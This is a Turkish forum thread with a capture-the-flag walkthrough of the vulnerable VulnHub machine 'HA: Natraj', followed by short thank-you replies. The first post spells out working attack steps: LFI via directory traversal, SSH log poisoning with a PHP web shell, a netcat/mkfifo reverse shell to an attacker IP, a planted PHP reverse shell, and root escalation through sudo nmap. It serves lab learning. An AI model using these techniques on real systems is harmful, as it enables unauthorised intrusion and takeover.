THT DUYURU

Capture The Flag Vulnerable VM Walkthrough & Capture The Flag (CTF) Writeup Yazabileceğiniz Bölüm

takipci
chat
Seçenekler

HA : natraj CTF Çözümü

whitend06 - ait Kullanıcı Resmi (Avatar)
Pentester & Hunter
Üyelik tarihi:
04/2020
Mesajlar:
19
Konular:
2
Teşekkür (Etti):
9
Teşekkür (Aldı):
46
Ticaret:
(0) %
bir Hafta önce
#1
HA : natraj CTF Çözümü

Arkadaşlar merhabalar HA: Natraj isimli CTF’in çözümünü açıklayacağım.
İndirmek için https://www.vulnhub.com/entry/ha-natraj,489/ linkini kullanabilirsiniz.

Arkadaşlar çalışmalarımı VMware üzerinde yapacağım.
İlk olarak indirdiğimiz makinayı open ile VMware üzerinde açıyoruz



Default olarak “Network Adapter” ayarı Bridge olarak gelmektedir. Alışkanlık olarak onu bi “NAT”seçeneğine alıyorum.



Herşey hazırsa başlayalım.
İlk olarak genelde kullanılan “netdiscover” toolu dışında bir başka tool (arp-scan) ile bu host discover işlemini yaparak başlayalım.

Kod:
arp-scan -l
“arp-scan -l” komutu network üzerinde ki arp paketlerini dinleyerek bir listeleme yapar.



Sonuçlar üzerinde kendi ip adresinizi göremezsiniz. Arp protokolü doğası gereği, kendi paketlerini kendi üzerlerine almazlar.
Port taraması ile devam edelim standart olarak “nmap” aracı ile ilerleyeceğiz.

Kod:
nmap –sV –A 10.1.1.165
-sV : version check
-A : agresif bir tarama başlat. (Enable OS detection, version detection, script scanning, and traceroute)



22 ve 80 portunu açık olarak bulduk.

İleride muhtemelen ssh için 22 portunu kullanacağız. Ancak ctf makinalarında banner üzerine flag yada hint gömülebiliyor kontrol etmekte fayda vardır.



Bişey çıkmadı. 80 üzerinden devam edelim.



Eğer ki ortada bir web sitesi varsa ilk akla gelen “dirb” aracı olmalıdır.
dirb : verilen sayfa üzerinde wordlistinde bulunan (dışarıdanda verilebilir) sonuna ekleyerek status kodlarına göre geri dönüş yapar. “wfuzz” aracı muadili olarak düşünülebilir. Prensip olarak aynı çalışsalarda sadece wordlistleri farklıdır. Zaten wordlistleri dışarıdan verilebileceğini söylemiştik.

Kod:
dirb http://10.1.1.165


“console” isminde bir dizin buldu.



Klasör içerisinde “file.php” dosyası var.
“LFI” için çanlar çalıyor.
“Directory Traversal” deneyelim.



Tamaaam kapıyı bulduk

Web request üzerinde gerçekleşen bir zafiyet bulunuyorsa testleri elimizle yapmak yerine “Burp Suit” aracını kullanmak kolaylık sağlayacaktır.
Burp Suit : Proxy olarak araya girerek çeşitli payloadlar deneyebileceğiniz, requesteri manipüle ederek tekrar tekrar deneyebileceğiniz ve daha bir sürü şey yapabileceğiniz bir araçtır.
Aşağıda belirtildiği şekilde tarayıcınızın Proxy ayarlarını burp için yapabilirsiniz. Burp Suit default olarak 8080 portunu dinler.







Burp Suit aracını açıyoruz ve daha önceden yaptığımız “http://10.1.1.165/console/file.php?f...../etc/passwd” isteğini yeniliyoruz.



İstek Burp Suit üzerinde “Proxy” sekmesi altında “Intercept” sekmesine düşmektedir.



Burada ki file parametresini manupule edeceğiz. Bunun için Burp Suitin “Repeater” özelliğini kullanacağız.
Burp Suit : Repeater : adından da anlaşılacağı gibi kendisine verilen isteği tekrarlar. Bu aşamada bize web request üzerinde oynama yapma imkanı sağlar.
Görülen isteğin herhangi bir yerinde sağ tık yapılır > “Send to Repeater”



Repeater sekmesine geldiğimiz zaman orada web requestimiz gelmiştir.
“Send” tuşuna basarak isteği tekrar gönderebiliriz ve “Response” bölümünde isteğimize gelen karşılık bulunmaktadır.



biz passwd dosyasını response olarak alabiliyorsak peki başka dosyaları da alabilir miyiz ?

Denemek istediğim dosya bir log dosyası.
Linux bir sistemde “ssh” giriş logları “/var/log/auth.log” dosyası altında bulunmaktadır.



Şimdi arkadaşlar şu ana kadar neler öğrendik bir toplayalım.
-Sistem üzerinde php kullanılıyor.
-LFI zafiyeti var ve Directory Traversal şeklinde exploit edilebiliyor.
-ssh denemeleri yapabiliriz.
Şimdi şunu düşünmenizi istiyorum /var/log/auth.log dosyası çağırıldığı zaman aslında bir php server üzerinde render ediliyor ve ekrana veriliyor. Peki bir şekilde auth.log dosyası içerisine php kodu gömebilirsek ne olur ?

Deneyelim.

Kod:
ssh '<?php system($_GET['cmd']); ?>'@10.1.1.165
Şeklinde bir ssh denemesi yapalım. Burada ki amacımız; auth.log dosyasını “cmd” parametresi ile dışarıdan komut alabilir hale getirmek ve aldığı komutu system fonksiyonuna vererek kodun çalıştırılmasını sağlamak.



“NOT: arkadaşlar denemeler yaparken birkaç defa CTF makinasını bozdum. Dolayısıyla eğer ki denemeler sonucunda response kısmını boş yada anlamsız görüyorsanız CTF makinasını silip geri yüklemek zorunda kalabilirsiniz "



Cmd parametresi üzerinde “id” komutunu gönderdiğimiz taktirde; komutun işlenip geri dönüş yaptığını gözlemleyebiliyoruz.
Shell almak için kullanacağımız komut;

Kod:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.1.1.163 1234 >/tmp/f
Linux sistemler üzerinde /tmp klasörü permissionları genellikle 777 şeklinde yani herkesin kullanabileceği şekilde gelir.



Kafa karışıklığı olmaması için elimden geldiği kadar kullanacağımız kodu açıklayayım.
rm /tmp/f : tmp klasörü altında ki f dosyasını sil.
mkfifo /tmp/f : tmp altında f dosyasını oluştur.
cat /tmp/f|/bin/sh -i 2>&1: f dosyasını oku ve çıktısını (|) /bin/sh üzerinde çalıştır error loglarını çöpe at (2>&1)
nc 10.1.1.163 1234 > /tmp/f : netcat ile saldırgan makinaya 1234 portu üzerine bağlan gelen istekleri /tmp/f dosyasına yaz (bir üst satırda bahsedildiği şekilde girilen komutlar çalıştırılır)
mkfifo komutuna ufak bir değinmek istiyorum.
mkfifo bir dosya oluşturur ve süreçler arası iletişim için müsait bir dosya oluşturur.
Saldırgan üzerinden gelen komutların /bin/sh üzerinde çalıştırılabilmesi için gereklidir.


Konumuza dönersek elimizde bir komut var ancak biz bunu Burp Suit ile göndermek mecburiyetindeyiz. Bunu web request e uygun bir hale getirmek için “Url Encode” yapmamız gerekmektedir.



netcat aracı ile bir handler oluşturuyoruz.



İsteğimizi gönderelim.



Response kısmını boş görmemiz gerekiyor. Eğer ki geri dönüş alıyorsanız komutu tekrar kontrol ediniz.



Shell geldi. Öncelikle shellimizi interaktif Shelle çevirelim.
Python 2 için : python -c 'import pty; pty.spawn("/bin/bash")';
Python 3 için : python3 -c 'import pty; pty.spawn("/bin/bash")';
Komutlarını kullanabilirsiniz.



E bunu yazmasaydık olmaz mıydı ? olurdu ama tercih meselesi tabi.

Kod:
cat /etc/passwd
Komutu ile sistemde bulunan kullanıcıların listesini alıyoruz. Burada bakmamız gereken sistemin kendisi için varolan kullanıcılar dışında son kullanıcılar için oluşturulan kullanıcılardır.



“natraj” ve “mahakal” kullanıcılarını keşfediyoruz.

Kod:
cd /tmp
Komutu ile tmp klasörüne gidiyoruz.

Kod:
find / -type f -perm 0777 > 777
bu komut ile makine üzerinde 777 full permission verilmiş dosyaları ekrana getirir. Ancak doğrudan yazıldığı zaman çoğu dosyada permission denied görebiliriz. Bunları exclude edebilmek için bir dosyaya yazdırıyoruz.





Apache2.conf dosyası apache servisinin configuration dosyasıdır.

İçerisinde User ve Group isminde 2 adet değişken vardır.
Standart olarak apache2 servisi cihaz üzerinde sadece bu iş için oluşturulmuş “www-data” kullanıcısını kullanır. Bu kullanıcıyı bu dosyadan alır.



Kod:
cp /etc/apache2/apache2.conf /tmp/apache2.conf
apache2.conf dosyasını tmp altına kopyalıyoruz. Bu dosyayı değiştirmek için saldırgan makine üzerine alacağız. Nano ve vi kullanımı sıkıntı yarattı shellden dolayı.



Eğer ki sistem üzerinde python var ise; bu işlem için en basit kullanabilecek işlem python ile basit bir web servis ayaklandırmaktır.
Version 2 için : python -m SimpleHTTPServer 9090
Version 3 için : python3 -m http.server 9090



Kod:
wget http://10.1.1.165:9090/apache2.conf
Saldırgan makine üzerinde "wget" komutu ile download işlemi gerçekleştirilir.



apache2.conf dosyasında bulunan User ve Group değerlerini ilk başta bulduğumuz kullanıcı isimlerinden birisi olan “mahakal” ile değiştiriyoruz.



Yine python ile bir web servis açarak dosyayı ctf makinası üzerine wget ile taşıyoruz. (tmp klasörü altına kopyaladığımız apache2.conf dosyasını siliyoruz.)



Kod:
cp /tmp/apache2.conf /etc/apache2/apache2.conf
Mevcut apache2.conf dosyasını overwrite ediyoruz.



Php üzerinden tcp reverse shell alabilmek için https://raw.githubusercontent.com/pe...erse-shell.php sitesinde bulunan kodları shell.php dosyası üzerine kopyalıyoruz.



“CHANGE THIS” olarak verilen 2 parametreyi değiştiriyoruz.
$ip = saldırgan ip
$port = dinlenecek port



Yine python ile servis açıp wget ile dosyayı çekiyoruz ve /var/www/html/ altına kopyalıyoruz.



Netcat aracı ile 5555 portu üzerine yeni bir handler açıyoruz.



Shell.php dosyasını çağırmadan önce ctf makinasını restart etmemiz gerekmekte. Çünkü apache2.conf dosyasını değiştirdik ancak geçerli olabilmesi için apache2 servisini yeniden başlatmamız gerekli. “service apache2 restart” komutunu denedim ancak çalışmadı. Açıkçası çokta uğraşasım gelmedi direk restart ettim makinayı





Kod:
sudo –l
Bu komutu ile “sudoers” dosyası üzerinde bulunan ve kullanıcı için özellikle izin verilmiş dosyaları görebiliriz.



“(root) NOPASSWD : /usr/bin/nmap”
peki bu bize ne söyler ?
nmap aracını root yetkisi ile parola sormadan çalıştırabiliriz.
Nmap aracı üzerinde nmapin kendi scriptlerini yada dışardan kendimizin verebileceği scriptleri kullanabilmemiz mümkündür. Bu ctf üzerinde bu özelliği kullanacağız.

Kod:
TF=$(mktemp)
TF isminde bir parametre oluşturmak için bunu kullanıyoruz.

Kod:
echo ‘os.execute(“/bin/sh”)’ > $TF
TF değişkeni üzerine os.execute çıktısını veriyoruz.

Kod:
sudo –u root nmap –script=$TF
nmap aracını root olarak çalıştır ve script olarak TF değişkenini kullan.

Kodlar böyle ama neden ?
Os.execute(“/bin/sh”) komutunu script olarak nmap e veriyoruz ve nmapi root olarak çalıştırıyoruz. Os.execute bize mevcut kullanıcının shellini veriyor ve biz nmap aracını root yetkisi ile çalıştırdığımız için bize root kullanıcısının shellini veriyor.

Artık rootuz



Kod:
cat /root/root.txt
Captured the flag !!!



Arkadaşlar herhangi bir konu hakkında soru işaretiniz varsa herzaman mesaj ile iletişim kurabilirsiniz.

Okuduğunuz için teşekkürler.

İyi Forumlar.


Konu "P4RS tarafından (bir Hafta önce Saat 16:53 ) değiştirilmiştir.
"P4RS - ait Kullanıcı Resmi (Avatar)
Purple Team Lideri
Üyelik tarihi:
01/2017
Nereden:
Balkes
Yaş:
19
Mesajlar:
4.827
Konular:
541
Teşekkür (Etti):
1419
Teşekkür (Aldı):
2792
Ticaret:
(0) %
bir Hafta önce
#2
Cevap: HA : natraj CTF Çözümü
Ellerine sağlık
---------------------



purple-team@turkhackteam.org

Apoll0 Teşekkür etti.
Dargaaltay - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
03/2019
Mesajlar:
721
Konular:
84
Teşekkür (Etti):
184
Teşekkür (Aldı):
333
Ticaret:
(0) %
bir Hafta önce
#3
Cevap: HA : natraj CTF Çözümü
Eline sağlık hocam
--------------------- Sübhaneke Ya Allah Tealeyte Ya Rahman Ecirna Mine’n-Nar Bi Afvike Ya Rahman | Sübhaneke Ya Rahim Tealeyte Ya Kerim Ecirna Mine’n-Nar Bi Afvike Ya Rahman

Sübhaneke Ya Hamidtealeyte Ya Hakim Ecirna Mine’n-Nar Bi Afvike Ya Rahman | Sübhaneke Ya Mecid Tealeyte Ya Melik Ecirna Mine’n-Nar Bi Afvike Ya Rahman
Xowly - ait Kullanıcı Resmi (Avatar)
Hunter
Üyelik tarihi:
06/2019
Nereden:
ғ˦
Mesajlar:
747
Konular:
70
Teşekkür (Etti):
567
Teşekkür (Aldı):
372
Ticaret:
(0) %
bir Hafta önce
#4
Cevap: HA : natraj CTF Çözümü
Elinize sağlık
---------------------
H3Uch1x - ait Kullanıcı Resmi (Avatar)
Moderatör
Üyelik tarihi:
08/2015
Nereden:
İstanbul
Yaş:
20
Mesajlar:
5.137
Konular:
814
Teşekkür (Etti):
1195
Teşekkür (Aldı):
998
Ticaret:
(0) %
bir Hafta önce
#5
Cevap: HA : natraj CTF Çözümü
Ellerine sağlık
--------------------- Devlet-i Ebed Müddet
SOLO-TÜRK
tnziel - ait Kullanıcı Resmi (Avatar)
Junior Green Team
Üyelik tarihi:
01/2020
Mesajlar:
389
Konular:
52
Teşekkür (Etti):
200
Teşekkür (Aldı):
300
Ticaret:
(0) %
bir Hafta önce
#6
Cevap: HA : natraj CTF Çözümü
Elinize sağlık hocam
---------------------
Doğaya yakından bakarsanız her şeyi daha iyi anlarsınız.

Albert Einstein


NAK0 - ait Kullanıcı Resmi (Avatar)
Junior Pentester & Hunter
Üyelik tarihi:
12/2015
Mesajlar:
46
Konular:
1
Teşekkür (Etti):
91
Teşekkür (Aldı):
22
Ticaret:
(0) %
bir Hafta önce
#7
Cevap: HA : natraj CTF Çözümü
Elinize sağlık hocam
--------------------- "Ruhlarımız buluşur elbet Tanrı Dağı'nda"
Cold-Shadow - ait Kullanıcı Resmi (Avatar)
Junior Pentester & Hunter
Üyelik tarihi:
02/2015
Yaş:
22
Mesajlar:
3.384
Konular:
179
Teşekkür (Etti):
784
Teşekkür (Aldı):
1760
Ticaret:
(0) %
bir Hafta önce
#8
Cevap: HA : natraj CTF Çözümü
Ellerine, emeğine sağlık abi
Apoll0 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
05/2020
Mesajlar:
73
Konular:
14
Teşekkür (Etti):
112
Teşekkür (Aldı):
4
Ticaret:
(0) %
bir Hafta önce
#9
Cevap: HA : natraj CTF Çözümü
Ellerinize sağlık hocam aradığım konu
0x762 - ait Kullanıcı Resmi (Avatar)
T Ü R K
Üyelik tarihi:
04/2007
Mesajlar:
38.732
Konular:
475
Teşekkür (Etti):
0
Teşekkür (Aldı):
4321
Ticaret:
(0) %
bir Hafta önce
#10
Cevap: HA : natraj CTF Çözümü
Eline sağlık

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler